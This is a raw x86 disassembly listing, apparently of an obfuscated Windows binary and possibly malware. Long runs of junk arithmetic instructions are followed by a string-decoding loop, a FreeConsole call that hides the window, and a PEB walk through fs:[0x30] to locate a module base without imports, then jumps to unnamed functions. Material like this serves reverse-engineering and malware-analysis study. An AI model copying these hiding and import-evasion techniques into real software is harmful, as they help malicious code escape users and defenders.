imul edx
imul edx
shr si, 0x2f
sub edi, 0xcc
shr si, 0x35
ror ebx, 0x35
mov bx, bx
rol di, 0x1c
and edx, 0x220
movsx edi, bl
mul ecx
add ecx, edi
je 0x403efd
cmp eax, 9
je 0x403fdc
imul edi
and cx, di
rol eax, 0x58
shl bx, 0x1f
inc ebx
movsx esi, dh
mov ecx, ecx
mul ecx
jmp 0x403f5c
rol bx, 0x4f
add dx, di
dec bx
rcr esi, 0x55
shr cx, 0xf1
mul bx
mul eax
dec edi
movsx edx, bx
imul ebx
inc di
shl edx, 9
ror edi, 0x10
mul ebx
inc ebx
mul edx
movsx esi, dx
rol ebx, 0xa
mov si, 0x6e
ror ax, 0xf3
rcr cx, 0x92
shl cx, 0x62
and di, 0x365
imul ebx
dec ebx
movsx ecx, bh
rcr si, 9
rcr ecx, 0xe8
imul eax
mov cx, 0xb1
shr dx, 0x44
mov esi, edi
imul bx
dec bx
ror ebx, 0xee
rcr eax, 0xa4
shl di, 0xa1
xor dx, 0x16e
add di, cx
shl dx, 0xb9
and edi, 0x2e4
dec di
dec di
dec ecx
or esi, 0x20c
rcl bx, 0x34
inc dx
or cx, 0x1be
dec dx
mul esi
sub ax, bx
or si, dx
shr ecx, 0x8b
shl ebx, 0x3f
dec ecx
add ax, si
rcl cx, 0x62
add edi, edx
shr esi, 0x18
rcr di, 0x36
shr cx, 0xd7
rcr ax, 0x27
mul si
imul di
je 0x403fdc
mul edx
ror edi, 0x23
mov edx, ecx
rcr cx, 0xbf
mov dx, 0x17c
rcl si, 5
mul edx
ror eax, 0x16
dec esi
jmp 0x403fec
mul esi
rcr di, 0xfa
or dx, 0xcc
mul cx
xor ebx, eax
sub esi, 0x2f7
mov edi, esi
or bx, bx
shl edi, 0x5a
add ebx, ecx
movsx edx, dx
mov eax, edi
mul ax
add si, ax
inc edx
push 0x6b
pop esi
push str.Unus092
push 0x439870
call fcn.00401150
push eax
call fcn.00401551
add esp, 0xc
sub esi, 1
jne 0x40400b
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x439690], eax
sub eax, eax
je 0x40404d
jmp 0x7840a937
push 0x7800
push section..data
call fcn.0040228b
push str.fjub_uAusa
call fcn.00404087
add esp, 0xc
call fcn.00401c3b
lea ecx, [ebp - 0x38]
call fcn.00402117
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040601d
leave
ret